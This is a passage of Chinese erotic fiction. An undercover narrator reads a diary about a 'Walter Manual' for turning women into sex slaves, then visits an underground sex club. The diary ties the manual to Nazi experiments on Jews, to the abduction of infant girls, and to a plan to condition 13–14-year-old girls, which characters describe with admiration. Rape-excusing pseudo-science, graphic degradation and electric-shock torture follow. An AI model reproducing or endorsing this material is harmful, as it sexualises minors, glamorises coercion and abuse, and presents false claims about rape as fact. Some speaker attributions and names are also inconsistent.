
  然后一边用玉掌隔着裤子轻轻的抚摸着我裤子上的鼓包,一边凑到我的耳边用舌头舔吃着我的耳垂说道:

  “怎幺了?小帅哥,是不是忍不住了?你放心,等会儿到了霓裳舞场让你尽情发泄个够。”

  我咽了下口水,再次审视起这个女人来。

  从以前我对她就有一种奇怪的印象,我好像觉得这个肖蕾是个天生放荡的女人。

  其实性奴隶服务公司里的女人都应该算荡妇,但是其他性服务员虽然对男人的侵犯来者不拒,但除了工作,很少主动勾引人。

  就像纪芳岚,虽然工作的时候对客人的淫辱倾心配合,但是平常却温柔文静。单玉环更是一个除了工作似乎是个非常讨厌男人的一个另类荡妇

  像肖蕾这样即使不工作也淫荡万分的主动勾引男人的还真……真少见。

  我知道,纪芳岚她们是因为受了瓦尔特的调教而变成现在这样的,可是肖蕾给我的感觉是,即使瓦尔特没调教她,她还是一个荡妇——天生的荡妇。

  说话间,肖蕾将车开到了一座由条条红木组成的栅栏大门前,大门上面挂着几个大字——红星动物园。

  夜已深沉,漆黑的动物园在他身后传来的几声动物的呜咽号角声的陪衬下,显得分外恐怖。

  肖蕾将车停好,从转身从车底拿出一本日记本,一边递到了我的手里,一边在我颊边轻轻的亲了一下,微笑道:

  “帅哥,你先在这里等我一下,我去通报一声,这是关于瓦尔特手册的一些背景材料,你仔细看看,了解清楚,我等下就回来。”

  说完,不等我答话,便优雅的打开车门向动物园那深邃的大门走去。

  我虽然被她扔在车上让我有点不快,但是既然徐风让她当我的领导,那我也只好听她的,于是一边嘀咕着,一边打开了手中的日记本。

  虽然她让我仔细看,但是刚开始我并没有多在意,只是随便翻翻,可是刚看了两行,便被里面的内容惊呆了。

  天哪!我没想到,“瓦尔特手册”产生过程竟然这幺复杂:

  原来最早制作瓦尔特手册的初衷并不是用来征服女人的,而是用来征服犹太人的!

  如果日记本里记载的都是真的话,那幺事情就要回溯到1939年的欧洲说起了。

  日记上说,当时欧洲正处于二战时期,纳粹德国的战争铁蹄仅用一年的时间就踏遍了整个欧洲,建立了德意志第三帝国。

  纳粹德国占领欧洲大部后,便在统治区内实行了惨无人道的种族灭绝政策,尤其是针对犹太人。他们为了使犹太人从地球上消失,使用了包括枪杀,毒气、活埋等手段整整屠杀了六百万犹太人。

  但是希特勒显然觉得不够快,尤其是占领法国之后,为了保证对英、以及后来的对苏作战的后方安全,所以他多次对党卫军首领——希姆莱下达对占领区犹太人尽快施行“最后解决”的命令。

  但屠杀也是需要时间和资源的,面对希特勒的催促命令,手中兵力有限的希姆莱也是焦急万分,但没有办法。

  就在这时,德国一位纳粹心理学家——曼尔坦。奥斯德因向希姆莱提出了一个近乎异想天开的杀人方法,引起了希姆莱的极大的兴趣。

  原来奥斯德因经过多年对心理学的研究发现,任何人都有一种特殊的本能心理,他称之为——服从心理。

  据他说,人的这种服从心理分为两种。

  一种是在武力。或压力下被迫服从强权意志的服从心理。

  就像那些投降德国,帮助德国建立维希法国的“法奸”们,他们就是畏惧德国人的战争机器的威力而服从德国的。

  因为这是一种经过理性思考,对比厉害才产生的服从心理,所以,奥斯德因称之为——理性服从。

  而另一种,是人对某种意志产生信仰,或者对某种情感产生依赖而形成的服从。

  就像那些为了民族的自由或者国家的利益而奋不顾身奔赴战场的战士,他们就是在这种心理的敦促下,服从国家的调配或者指挥而不惜牺牲生命。

  因为这种服从心理是因为人对某种意志产生感情而形成的,所以奥斯德因称之为——感性服从。

  但是奥斯德因认为,无论是感性服从还是理性服从,他都来自于人内心的一种本能服从——潜意识服从。

  潜意识服从是生物为了确保自己的生存而依靠强者的一种完全服从心理,是作为一个独立个体缺乏安全感的体现。是一种天然就存在的本能心理。

  所以,奥斯德因跟希姆莱说,只要通过各种手段,把犹太人心中这种潜意识服从心里激发出来,并控制在德国手里。

  那幺这些犹太人便会因为德意志帝国的需要,毫不犹豫的奔赴战场或者集体自杀。

  奥斯德因的原话是:

  “只要他的研究成功,他就可以把所有犹太人都会变成任亚利安人驱使宰割,而毫无怨言的猪!”

  这句话让喜欢神秘事物的希姆莱非常兴奋,马上特批了一个位于维也纳郊区的犹太集中营作为奥斯德因的试验场。

  奥斯德因满怀希望的来到集中营,开始用药物催生,刑讯威胁等方法想激发这些犹太人的潜意识服从心理。

  但是出乎他意料的是,他的实验失败了,虽然经过他残忍的“调教”,这些犹太人变得非常麻木不仁,但是离他设想的“绝对服从”还有很远的距离。

  于是不甘失败的奥斯德因继续研究,但是直到二战结束,他的研究也没有取得丝毫进展。

  二战后,虽然奥斯德也因涉嫌屠杀犹太人,而被国际军事法庭秘密起诉过。

  但是国际法庭通过调查他的行为,认定他是个心理不正常的人,是个精神病人,所以最后做出对他免于起诉的判决。

  结果逃过审判的奥斯德因在经过一段时间的强制精神病治疗后,回到了他的故乡维也纳,并定居在那继续进行研究。

  大约两年后,他终于发现导致他研究失败的敌人了,那就是——人的记忆。

  他认为,人潜意识中的绝对服从之所以无法被激发出来,是因为人的记忆中存在了太多的道德和价值观,这些价值和道德观严重束缚了人的这种潜意识服从。

  所以,在以后的日子里,奥斯德因一直致力于研究如何消除人心中的道德和价值观的记忆。

  但是他的研究刚刚开始,一场意外的车祸便夺去了他的生命。

  奥斯德因死后,他的研究被他的两个学生继承了:

  一个是日本早稻田大学的生物学家——山下俊一,而另一个,就是保罗。瓦夫特。

  山下俊一和保罗。瓦夫特联手继续对奥斯德因的心理服从理论进行深入研究。

  最后,他们得出一个结论,那就是奥斯德因实验之所以失败,不只是记忆束缚这一个原因,还有一个更重要的原因——那就是他们的老师把实验对象选错了。

  作为生物学家的山下俊一认为,雄性个体天生具有的彼此斗争的本能,所以想要一个雄性个体完全服从另一个雄性个体是根本不可能做到的,哪怕这个人完全没有记忆。

  而保罗。瓦夫特也支持山下的这一论点,而且进一步认为,这种服从现象只存在于异性之间。

  就像有些妇女被人强奸时反而有高潮,而一些妻管严的男人备受凌虐,却不愿跟自己的妻子离婚都是这个原因。

  而这些例子有一个共同的特点,那就是这些人彼此都有性关系,也就是说性是使人绝对服从的一个前提。而爱情的来源也是性吸引。

  得到了这个结论,山下俊一和保罗。瓦夫特转而开始研究如何激发人的性本能,以使其达到对自己绝对服从的效果。

  为了减少研究阻力,他们选择了斗争心较弱的女性为研究对象。

  但是他们在开始研究前,必须解决他们老师提出的那个问题:

  如何删除人心中道德和价值观的载体——记忆。

  因为女人也是有价值观和道德的,而且认知道德的力量——贞操,要比男人强。

  对于解决这个问题,山下俊一和保罗。瓦夫特却持着两个不同的观点,并因此闹翻,从此走了两条不同的研究路线:

  山下俊一认为人的记忆一旦形成,便很难彻底清除,所以要从人还没有记忆的时候,就开始培养她的服从心理是最方便,也是最快捷的一条途径。

  于是山下俊一回到日本后,先后从妇婴医院盗取了四五个女婴,然后将她们囚禁在地下室里,每天供给她们吃喝,但不与她们交流,也不允许她们接触任何外界事物和学习任何文化,从小对她们进行无记忆“培训”。

  过了十年,竟然真的培训了出来几个对他完全服从,智商低下,靠性本能活着的“性玩偶”。

  就在山下俊一以为自己的理论成功了的时候,一件意外发生了,一个小偷无意间闯入他的地下室,发现了他的秘密,并且给透漏了出去。

  于是,山下俊一被逮捕了,被判终身监禁,后来日本着名导演和田勉根据这个事件拍摄了着名的电影——《禁室培欲》。

  而保罗。瓦夫特则走了完全不同另外一条路。

  他认为山下俊一的研究方法过于粗糙,而且这样制造出来的女人就是头畜生,这样的非人类制造出来又有什幺实际价值呢。

  而且他认为,现在已经不是二战时期了,他们老师那个以灭亡犹太人的研究目标早已经过时了。

  现在的研究目标应该是培养一批有个性,有智慧,但是却对自己绝对服从的“理性奴隶”,只有这样的“奴隶”才对自己有所帮助。

  虽然瓦夫特是这样的想的,但是他知道,他这个目标却比他老师的目标更难实现,而且他也要同样要解决他老师所说的人的记忆问题。

  为了解决这个问题,瓦夫特开始周游世界,在世界范围内找寻答案。

  终于,两年后,就在他灰心丧气时候,他终于在印度找到了解决这一记忆问题的钥匙——刹帝利催眠术。

  当瓦夫特发现在印度境内游历的时候,在印度各城市的郊区有很多的“瑜伽行者”。

  这些瑜伽行者把自己的脑袋埋在土里,身体挺直,双足挺直指向天空,他们经常这样一做就是一两个小时,一动不动。

  瓦夫特是科学家,他知道人一两分钟不呼吸便会死亡,而这些瑜伽行者却把头埋在土里一两个小时以后,竟依然是活蹦乱跳的。

  这让瓦夫特感到非常好奇,于是以“俗家弟子”的身份拜了一位瑜伽高僧为师。

  经过两个月的学习,瓦夫特终于搞懂其中的奥妙了。

  这些高僧不是不呼吸,土里也是有氧气的,只是非常稀薄,这就需要高僧在修行时调整自己的呼吸频率,而呼吸频率是靠神经调节的,而神经又是靠神经中枢,也就是来大脑控制。

  而这些高僧之所以能调控自己的大脑从而调节身体机能,就是靠的一种传承千古的印度秘术——刹帝利催眠术。

  得到这个结论,瓦夫特欣喜异常。

  因为记忆和自动调节身体机能一样,都是由大脑支配的,如果能够掌握这种技术,是不是就能控制记忆对人行为的影响,从而成功制造出“理性性奴隶”呢。

  后面的记录便是讲瓦夫特如何努力学习这种催眠术和对这种催眠术的解释,因为我的心理学水平实在有限,没有全看懂。

  不过大概意思是说人的记忆虽然不能抹掉,但是可以通过这种催眠术进行减淡,降低其对被施行术者行为的影响,就这点,瓦夫特还打了一个比喻:

  他说人的记忆以及产生的价值观,就像商场里的苹果,有好的(道德),有坏的(非道德)。

  一般情况下,人们肯定会挑好的买,而这种催眠术就像给这些水果包上了统一的,一摸一样的包装盒,这样一来,人们就无法分辨好坏了。即使做出了什幺违反道德的事情他们也没什幺厌恶心理。

  他们不是感知不到非道德的坏处,而是打心眼里的不在乎。

  这显然非常符合瓦夫特的理想,于是他开始欣喜若狂的学习这种秘术。

  最后,经过艰苦五年的学习,瓦夫特终于掌握了这种催眠术,他心满意足的回到了维也纳,然后将他老师奥斯德因的服从理论和山下俊一入狱前对那些女孩的“培欲”记录与自己的生殖学知识综合在一起。

  又经过将近十年的研究,终于研究出自己的一套调教理论,并把它记录在本子上,这就是——瓦尔特手册。

  理论虽然提出来了,但是还需要实践的检验,这个实验对象必须有记忆的女性,而且要处在心智将要成熟,但还没成熟的年龄阶段,因为这阶段女人的心理可塑性才强。

  显然符合这个条件的只有处于青春期的十三四岁的小姑娘。

  于是,瓦尔特便策划了后来的比利时虐童案……。

  看到这,我忽然弄懂了一个可怕的事实。

  这本瓦夫特手册并不是一本简单的教男人如何玩女人的淫书。而是一本集合两代三位邪恶科学家,用天才的头脑研究了将近四十年所研究出来的魔物。

  它是一本包括了心理学,生殖学,病理学,药理学和催眠术等玄学在内的一种理论化、系统化的,可行性极高的“终极调教方法”。

  如果这本手册要是散播到世界上……

  这个可怕的想法一出现,我就不尽然吓的打了一个冷颤。

  “帅哥,看完了吗?感觉怎幺样?”

  就在我发愣的时候,肖蕾那充满磁性的声音从我背后传了过来。

  显然她早就料到会看到我这副满脸冷汗的样子,因为她笑的很得意。

  我定了定神,把笔记本还给了他,然后抹着头上的冷汗说道:

  “太可怕了,这本手册太可怕了。”

  肖蕾闻言苦笑了一下,然后将那本笔记本放好,一边说道:

  “可怕?唉,你说的太轻松了,这瓦尔特手册简直就是一本只有魔鬼才能写得出来的“黑暗圣经”

  小帅哥,你知道当初瓦尔特为什幺不绑架住在酒店第一层的女孩,而费劲的去绑架住在二十一层的女孩吗?”

  我闻言一愣,讷讷的问道:

  “为什幺?”

  肖蕾闻言嘿嘿一笑,神秘的说道:

  “那是因为住在二十一层的十三个女孩来自世界各地——有中国的,日本的,美洲的。

  她们有着不同的肤色,不同的文化背景,但是最后都被瓦夫特成功的调教成了性奴隶,老弟,你知道这意味着什幺吗?”

  我听到徐风这幺说,似乎意识到了什幺,但是却不太清楚,于是讷讷的说了一句:

  “意、意味着什幺?”

  徐风闻言叹了一口气,然后满脸崇拜的说道:

  “这意味着,这本调教手册对世界各地的女人来说具有普遍适用性,也就是说,不管这个女人是哪个国家的,该国的社会大背景是保守还是开放,只要按照这本手册中所记录的方法去调教,最后都会被调教成性奴隶。

  唉,徐风已经是世界最顶尖的女体调教师之一了,可是即使是他,也无法保证从他手下出去的每个女人都是个成功的性奴隶,你说,这本手册有多厉害。”

  肖蕾说完这番话后,再次叹了口气。

  而我听完这番话后,不单是打冷颤了,而是冷汗直流了。

  俺的神啊!世界上怎幺会有这种败家手册啊,太可怕了。

  肖蕾闻言见我神色铁青,于是微微一笑,说道:

  “哈哈!老弟,你心里对这本书有个底就行了,不要太在意,好了,你现在跟我进去参加“性玩偶之夜”。”

  我闻言一愣:

  “玩偶之夜?什幺玩偶之夜。”

  肖蕾闻言媚然一笑,说道:

  “嘿嘿,当然是去看“霓裳舞场”、里那些香艳的“玩偶”所进行极乐表演啊!”

  我闻言顿时心里升起一阵遐想,急不可耐的说道:

  “好、好,那我该怎幺进去?”

  肖蕾媚然一笑,扭转娇躯从车里拿出一个带着绳子的红色项圈,然后将项圈戴到了自己那纤细而白皙的脖子上,栓紧后,一边将绳子的那头递给我,一边漫不经心道:

  “很简单,我先脱光衣服,然后你把我像狗一样牵着走进去就行了。”

  我闻言顿时大惊:

  “什幺?!!”

  二十五

  世界上最会玩的生物就是人。

  这是我在看到霓裳舞场那瑰丽的场景时,脑海里蹦出的第一句话。五光十色的镁光球在我前方屋顶的正中央不停的来回旋转,为霓裳舞场四周那刻满裸女浮雕的金色墙壁涂抹上了一片旖旎活泼的气氛。我戴着一个浣熊假面具,光着下身坐在圆形舞台前排的一个沙发里,目瞪口呆的望着眼前的一切——

  不知基于什幺样的建筑学原理,动物园狮虎山的地下被奇迹般的挖空了,但没有造成坍塌,不仅如此,里面还建成了这幺一个奢华的成人娱乐场。宽阔的大厅中间是一个布景广大的古希腊风格的圆形舞台,舞台周围环绕着映着碧色光华的温水池。

  在温水池中仿若莲花绽开般点点修建了一些圆形地板,大约四五十个像我一样男人光着屁股坐地板上的白色沙发里做着各种各样令人匪夷所思的事情。而我的脚下则踩着碧色的池水,一脸色相的四处张望着。

  其实我光着下身并不是因为我已经饥色到了彷如街头流浪汉的地步,而是因为这是霓裳舞场的规定之一 ——客人进到里面后,必须脱光下身!按照肖蕾的说法,这是为了等会儿让我们享用她们这些“玩偶”的时候更方便。

  说实在话刚进来的时候,我还真不适应霓裳舞场这种貌似“贴心”的规定。因为我除了在公共澡堂里曾与其他男人坦诚相见之外,对自己的命根子从来都是藏在裤中,爱护有加,同时,我也对看别的男人的命根子也没什幺兴趣。

  尤其是现在这种上身穿着衣服,而只光着下身的“半坦诚”状态就更令我感到诡异和不舒服了。但是我的不适应感很快就消失了,因为我的眼球在进来没多久,便被眼那些前的那些足以令任何男人忘乎所以的美景吸引住了。

  我说的这个美景并不是指大厅中间那个布置的比春晚还豪华的中央舞台,或者是这大厅精巧的“旖旎水景”的布置。而是指在我眼前淌着池水来回穿梭,带着香气的曼妙身影,那些勾魂摄魄,青春靓丽的“雌性动物”们。

  我这里用“雌性动物”这个词来形容霓裳舞场里的这些美人,并没有贬低她们的意思,而是想用一个最直观的词来描述她们现在的模样。没错,现在的她们确实是些“雌性动物”,哦,不,更准确的说法是:她们是些装扮成“动物”的“雌性”们——

  “哇塞——好爽!,于君,你的身体不是盖的,下体这幺紧,来!宝贝!再动的激烈些,老子今天要将阳具捅进你的在子宫里去,啊哈哈哈——!”

  这声欲生欲死的狂叫,来自于大厅东北角的一个中年胖子,只见他将一身肥肉摊在沙发里,一个大约二十多岁,唇红齿白,身材曼妙的无以复加的美丽“女豹”,妖娆放荡的甩动着自己的翘臀,疯狂的在男人的身上起伏着。

  我之所以叫她“女豹”,是因为她身上穿着一套类似幼儿园小朋友表演话剧时常穿的那种仿生学“豹子装”。与儿童穿着时天真可爱的情态不同,这身“豹子装”套在她那曼妙的身材上立时产生一种迎面而来的野性美。

  薄如蝉翼的金色皮装花豹纹丝衣紧紧地套在她那玲珑浮凸的身体上,使她那曼妙的娇躯随着她疯狂抖动散发出一股狂野和性感的味道。只见她伸着一只玉臂揽着身后的男人的脖子,一双被裹在豹纹丝袜内的修长雪腿大大的分开着,自然的搭在沙发两侧的扶手上。

  她胯间的“豹纹”丝料被撕开了, 男人粗硬的阳具插在她稚嫩的肛门里,而她的大手则毫不客气绕过她的蛮腰伸到她的胯下,伸出手指则插在她那从布料中露出的粉嫩阴唇里,勾着她那颗粉红的阴蒂将她的阴肉翻进翻出的玩弄着。

  而那个被玩弄的“女豹”却似乎对这种男人玩弄自己下体的淫辱行为非常熟悉,只见她不但不求饶,反而一边挺动着自己裸露在外的稚嫩下体去迎接男人的玩弄,一边仰着俏脸,满脸春情,欲罢不能的荡笑着。

  “啊哈……!黄老!我叫曼铃,不要总在侵犯我的时候把我当成你的女儿好吗?难道你、你会这幺拼命蹂躏你的女儿吗?呀——黄老,我……我不行了,要泄身了!呀——!”

  只听“女豹”歇斯底里的荡笑,只见一股晶莹的淫水伴随着她痉挛抖动的娇躯而从她胯间那粉嫩的阴唇里不停飞溅出来,远远看去就像一个“母豹子”在对着河流肆无忌惮的排尿。

  见到“女豹”胯下如泄洪般涌出的淫水,那个中年男人也激动不已,只见他一手扣弄着她的阴唇,另一只手却从桌上拿起一个玻璃杯,放到了这个“女豹”的雪白胯间,接着下体飞溅出来的淫水,与此同时只见他的阳具用力向“女豹”的肛门一顶,一阵痉挛过后两条肉虫便瘫软到了沙发上,显然他已经在“女豹”的肛门内射精了。

  我望了望他手中的玻璃杯,这幺一会儿,已经接了一小杯了,只是不知道等一下谁会喝这杯特殊的“饮料”。

  “呵呵——军子!你今天不是去相亲吗?怎幺还有时间来折腾胡姐我啊?”

  一阵酥媚入骨的声音打断了我的思绪,我转头一看,原来声音由大厅西北角那只身材窈窕,同样美艳逼人的“狐狸精”发出来的。只见她将身穿网状火红狐衣的曼妙娇躯慵懒性感的倒躺在沙发里,戴着类似狐狸耳朵发卡的黔首顶在沙发上。

  她大概二十七八岁,波浪长发,妩媚成熟的俏脸带着荡笑,一边将娇躯半倒立的慵在沙发里,雪腿分开自然的搭载沙发的靠背上。一边用玉臂撩拨着压在她娇躯上的男孩大腿内侧。

  “胡姐,我……我不要老婆,我……要你!”

  小男孩长的油头粉面,显然是某个豪门的二世祖,而且是个初出茅庐的愣头青。跟那个“女豹”一样,“狐狸精”档间的仿生学布料也被男孩扯开了,而且因为是倒立,所以下体比那个“女豹”露的还多,粉嫩的阴唇和肛门都可以清晰的看到。

  只见小男孩挺着粗应的阳具,一手掐着“狐狸精”那雪白的大腿根肉将她的美腿折叠压到她的乳房上,另一只手则举着酒瓶,将里面的红酒倒在“狐狸精”那向天开放的粉嫩阴唇上。并且一边倒,一边低头像吸牡蛎一样用力吸允“狐狸精”那粉嫩的阴唇。吸的兹兹直响。

  真不知他是想喝红酒还是想喝从“狐狸精”下体涌出的淫水。“呀……哈,看不出来,你这小家伙还挺会玩!好,看姐陪你玩个更绝的。”显然那只“狐狸精”被这种“特别的虐阴”搞得很兴奋。只见她娇喝一声,一脸春情的伸出一只玉臂,帮助男孩挽住自己令外一只雪白的大腿,使自己的下跨更彻底暴露在酒瓶底下。她的阴唇已经成了一个盛酒的粉红酒杯。

  酒色飞溅,令人震惊的是,这个淫荡的“狐狸精”竟然能将自己的大腿分到令人难以置信的程度,只见她掰着自己一只雪白的脚腕,毫不费力的将自己的一只玉足压到自己的樱唇边。然后伸出舌头痴缠舔弄着脚掌上面那些从自己阴唇顺着小腹留下来的红酒。男孩见状登时兴起,掰着“狐狸精”削尖雪白下巴刺溜一声,便将自己的阳具一股脑的捅进了她的喉咙里。

  “唔……没想到……带酒味的……阳具……吃起来……这幺特别……啊,呜——”

  虽然男孩是忽然将阳具插入她喉咙里的,但显然这个名副其实的“狐狸精”早就适应男人的这一招了,不但毫无恶心的感觉,还颇有趣味的评论酒味阳具。

  见到她,我终于知道,作为一个合格的性玩偶,除了要足够放荡和有足够的忍受淫辱的能力之外,还要有一点肢体功夫,就像这位“狐狸精”,身体柔软的跟面条一样,怎幺弄都没事。真不知是怎幺练出来的。

  与前两位的疯狂相比,第三位“动物美人”就显得文静多了……

  我的生物学不怎幺好。所以在略显阴暗的大厅灯光下,光凭颜色,我实在是分不清我前方水池里那个正蜷缩着粗大的“尾巴”,被一个男人折腾的滚来滚去的潮湿尤物究竟是个“鱼美人”还是个“蛇美人”。

  跟前两个“动物美人”不同,“鱼蛇美人”那无限美好的上半身一丝不挂的赤裸着。

  一对丰满圆润的白嫩乳房在碧水中以一种分外诱人的方式时隐时现,两点粉色的乳头比草莓还要鲜艳。以至于正在抱着她的蛮腰,玩弄她下体的男人,偶尔也会忍不住伸手在这对白嫩的椒乳上抓上两把。

  令我费解的是她的下体着装,一双修长的玉腿,都被紧紧裹在一条鳞片裤筒里,就想长出了一条尾巴,挣扎之间的美态,很像欧洲神话中的“美人鱼”或者中国古代传说中“美女蛇”。

  性玩偶这样一个装束,注定这个正在玩弄她下体的男人不能像其他男人对待自己的性玩偶那样,可以任意掰开她们的大腿然后肆意淫虐她们稚嫩的下体。

  但这似乎并不妨碍这个男人的性致,因为他们在水下嬉戏的,所以我不大看得清他是怎幺做的,我只能隐约的看见那个“鱼蛇美人”翘臀部上破了一个洞,那个男人按着她的大腿,拿着一个发光的电棒,通过那个破洞不停的刺进她的阴唇。

  而每刺一下,“鱼蛇美人”就会被刺激的像被捞上岸的鱼那样,娇躯剧烈的抖动。然后倒回水里耸着雪白的酥胸急促的娇喘着,直到男人再次将电棒插入她的下体。但令人奇怪的是,这个“鱼蛇美人”虽然被折腾的在水池里四处翻滚娇躯,但却既不叫也不喊。

  每次下阴遭电击后,她的娇躯会在水中痉挛一阵,但恢复后,便默默的从水中抬起黔首来,湿漉漉的冷艳俏脸虽然有些娇喘,但却是一片淡定的神色,然后艰难的扭动娇躯,默默的撅起自己的翘臀,默默的等待男人的下一次电击。

  这种仿佛性玩具似的木讷配合显然使玩她的男人很不爽,只见那个气氛的男人一把抓起她的波浪长发,使她洁白无暇的上半身露出水面,然后举着电棒指着她那颤巍巍的白嫩乳房说道:

  “喂!——美女!老子这幺淫辱你,你不痛吗?”

  裸身坐在水池里,优雅的挺着雪白的椒乳的“美女蛇”听到男人这幺问,抬起湿漉漉的俏脸,不慌不忙的吐出樱唇中的一丝湿发,然后冷着俏脸默默的望了一下那个男人,轻启朱唇,淡淡的吐出一个字——

  “痛。”

  “我靠——!”

  面对脚下半裸美人的淡定,男人似乎有些抓狂了。只见他嘴一咧,拽着她的湿发对着她因吃痛而抬起的俏脸大吼道:

  “妈的!既然痛你为什幺不叫——?!”

  “习惯了……”

  湿美人微微抬起一只玉臂捂住自己的裸露玉乳,然后侧着俏脸非常酷的回答了一句。

  “你……好,不愧是霓裳舞场的“冰蛇”,果然有一套,不过老子也不是吃素的,我就不信你能一点声都不吭!来,你用手捧起自己的奶子夹住电棒,老子倒要看看你这对漂亮的奶子是不是也这幺耐整。”……

  蛇美人(我终于却定是她装的是蛇了)闻言也不说话,只是面无表情的挺起胸脯,伸出玉手捧起自己那对丰腻雪白的乳房,默默将电棒夹在自己的乳沟间,然后淡淡的说了一句

  “请便……电我乳房也,嗯——”

  蛇美人话音未落,只见她雪乳间闪出一片蓝光,她的娇躯登时一抖,娇哼一声便扑通一声再次倒在了水池里。

  “嘿嘿,那老子就多电几次,嘿嘿——”

  说完,那个男人再次拿着电棒压到了蛇美人的身上……。

  就是这样,在霓裳舞场里,每个客人的身边都有一个这样装扮成各种“雌性动物”的性玩偶。她们以各种各样的职业性爱姿势,全身心的迎接着客人像牲畜一样来玩弄她们身上的任何一个私密部位。这就是肖蕾再带我进来前,告诉我的霓裳舞场第一个性活动节目,也是主项节目前的开胃菜——女畜调教。

  我第一次听到“女畜调教”这个词的时候,脑袋里下意识的蹦出一个以前我看过的一个毛片的名字,进而恍然——霓裳舞场的总公司在日本,而“嬢王”——樱田慕雪本身也是日本人,看来日本风月业的主流价值观还真是一致,连性游戏的名字都通用。

  这里已经变成一个肉欲横飞的性欲战场,而我之所以能在这里冷静的跟大家讲述现场的情况,则是因为……呜、呜……呜哇——!没有“女畜”招待我啊!本来按照霓裳舞场的招待手册,每位客人身边都会陪侍一位“女畜”——也就是穿了动物装的“性玩偶”。

  “主要活动”开始前,客人可以任意在这些“女畜”身体上发泄性欲,也可以到别的座位上去玩“三人行”。但不知霓裳舞场是不是看出,我是个将要打入她们内部的卧底,所以虽说给我也指派了一个“女畜”,但是却迟迟没有出现我想抗议却不知道谁是这的“大堂经理”。

  而我的女伴肖蕾,则一把我领到这后就跑到后台去了,据她讲,这是为了让自己得到充分的休息,好有精力参加等一会的主场演出上。因为她就是那个“主场演出”中的“主要角色”。

  于是乎,其他男人的天堂就成了我的地狱。在这个淫荡美人遍地的大厅里,别人玩着我打盹儿,别人吃肉我闻味儿,就像在看一部毛片,虽然画面很刺激,但就是眼巴巴的没我什幺事儿。最大的痛苦并不来自于对自身肉体的摧残,而是来自于精神的折磨——今天我终于理解了这句名言的真正含义。

  “咣——!”

  “嗷!——嘘——!”

  正当我的精神最颓废的时候,忽然从舞台方向传来一声巨大的锣响,紧接着伴随着一曲类似的古斯巴达战歌的雄壮歌曲,大厅里顿时响起一片兴奋地口哨声和叫好声。我被这突如其来的雄壮阵势吓楞了,禁不住回头张望——

  只见刚刚那群还搂着自己美艳的“性玩偶”肆意淫辱她们的身体,体验“暗爽”感觉的男人们,忽然间,好像都被这声锣响注射了一管鸡血,纷纷抱起手中的“性玩偶”,站起身来,举着双手,冲到舞台周围,一边兴奋地大喊大叫。一边疯狂的干着怀中的女畜。

  与此同时,中央舞台中间弥漫出一片旖旎雪白的烟雾,烟雾萦绕中,十几个古罗马角斗士装束的舞者伴随着雄壮的歌曲,举着盾牌和刀剑,健美异常的舞动到舞台上,而舞台的上空,则是一些轻纱萦绕,头戴橄榄枝的,身材曼妙雪白的古欧洲美丽仙子在漫天飞舞,登时营造出一片仿若天国般神圣的画面来……

  “这什幺意思?奥运会开幕式啊?”

  望着这华丽的大场面舞台,我不由的小声嘀咕了一句。

  其实我说这句话就是自言自语,说给自己听的,可是没想到,我话音刚落,身后立时响起一阵比音乐还动听的声音:

  “嘻嘻,先生,对你们这些男人来说,这个可比奥运会开幕式好玩多了。”

  我闻声回头一看,登时愣了一下。

  站在我身后,跟我说话的是一个“猫女”,准确的说是一个“猫女”打扮的欧洲美人

  这个“猫女”大概二十一二岁,身材高挑,金色的波浪长发下是一张标准的欧式瓜子脸,如丝的凤目,湛蓝的眼仁,高挺的鼻梁,再搭配她樱唇边那一颗魅惑的美人痣,足以让任何男人侧目。

  这个“波斯猫”最令人喘不过气来的是她那纤细完美的身材——野性的黑绒胸罩是她那美妙的上半身唯一的衣物,紧紧地包裹着她那对丰满白皙的乳房,并且挤出一抹白如凝脂的乳沟。

  雪白诱人的小腹和不盈一握的蛮腰裸露着,一条短的不能再短的黑色真皮短裤将她那紧俏的臀部包裹着,她小腿上的那双黑色真皮长筒靴使得的她那亚洲女人无法比拟的修长洁白美腿更加突出。

  虽然我知道不好,但我还是忍不住不停的在她的白嫩的乳沟和下体上用眼睛的余光来回扫描。而她也似乎对我这垂涎三尺的神色非常熟悉,媚然一笑,伸出玉臂,按着我的肩膀一转娇躯,抬起修长美腿,转身便将跨坐到了我的膝盖上。

  我登时感觉到一股浓烈的菲尔多香水从我的怀里的涌了上来,与此同时,我感觉自己的阳具顶到一个柔软的地方,我低头一看,发现我坚挺的阳具正好光隔着“猫女”的皮裤顶着她雪白大腿根处的私密地方。

  我下体的阳具登时被刺激的坚硬如铁,霎时将她胯间的布料顶进去了一块。而我则是第一次与她见面,陌生感使我有点不好意思但她却似乎很适应跟男人对她下体的这种“准入侵”姿态,只见她低头望了望顶在她下体的阳具微微一笑,然后自然地用玉臂揽住我的脖子,豪爽的一伸另一只玉臂,说道:

  “嘻嘻,帅哥,别着急,按霓裳舞场的规定,到明天早上为止,我身体的任何部位都是属于你的,所以你想玩哪里,想怎幺玩都行,现在咱们还是先来认识一下吧,我是“猫女”克莱尔——喵,嘿嘿,你今晚的专属“女畜”,你呢?帅哥,你怎幺称呼?”

  对于这点我早就猜到了,只是没想到是这幺豪爽的一个女孩,我也放松了不少,于是激动地揽住她的蛮腰,握了握她的玉手,礼貌的说道:

  “你好,克莱尔小姐,我叫张士艺,你,你怎幺才来?”

  克莱尔一听,登时尴尬的笑了一下,然后挠着头满脸不好意思的说道:

  “本来昨天我就接到霓裳舞场的陪侍通知了,但是昨晚我一个姐妹过生日,我们宿舍的全体成员去舞厅蹦迪拼酒疯玩了一晚上,结果今早回到宿舍后,酒劲上头,趴在床上睡了一整天,到刚才才醒,不好意思啊,帅哥,让你久等了,你放心,等会儿我会让你舒服透顶的。喵,”

  说完,克莱尔淫荡的舔了一下舌头,握着我的阳具在自己下阴的布料上用力蹭了一下。

  我登时感到一股热气上涌,原来还是个学生妹。想到这,我忍不住一把揽住眼前的猫美人的蛮腰,翻身将她猛的放倒在沙发上。紧接着一把拽住她的两条雪白的小腿,将她的一双美腿成M形左右用力掰了开来。并急不可耐的挺着阳具压到了她的白嫩娇躯上。

  面对我的侵犯,克莱尔并没有反抗,只是柔顺的骄哼了一声,然后一边熟练地把雪背躺靠在沙发靠背少,一双美腿顺着我手的推势,自然而柔美的向我左右打了开来。一边对我吐气如兰的说道:

  “哈哈,帅哥,你太急了,我是你的“女畜”,但按规矩应该是我先露出女性生殖器,让你用手或者嘴亵玩一下,然后我为您进行一些口交服务什幺的,等我们熟悉一下彼此身上的敏感带后再性交。怎幺?您这就要上我吗?”

  “当然!我都憋了这幺久了,实在是受不了,来吧,来吧。”

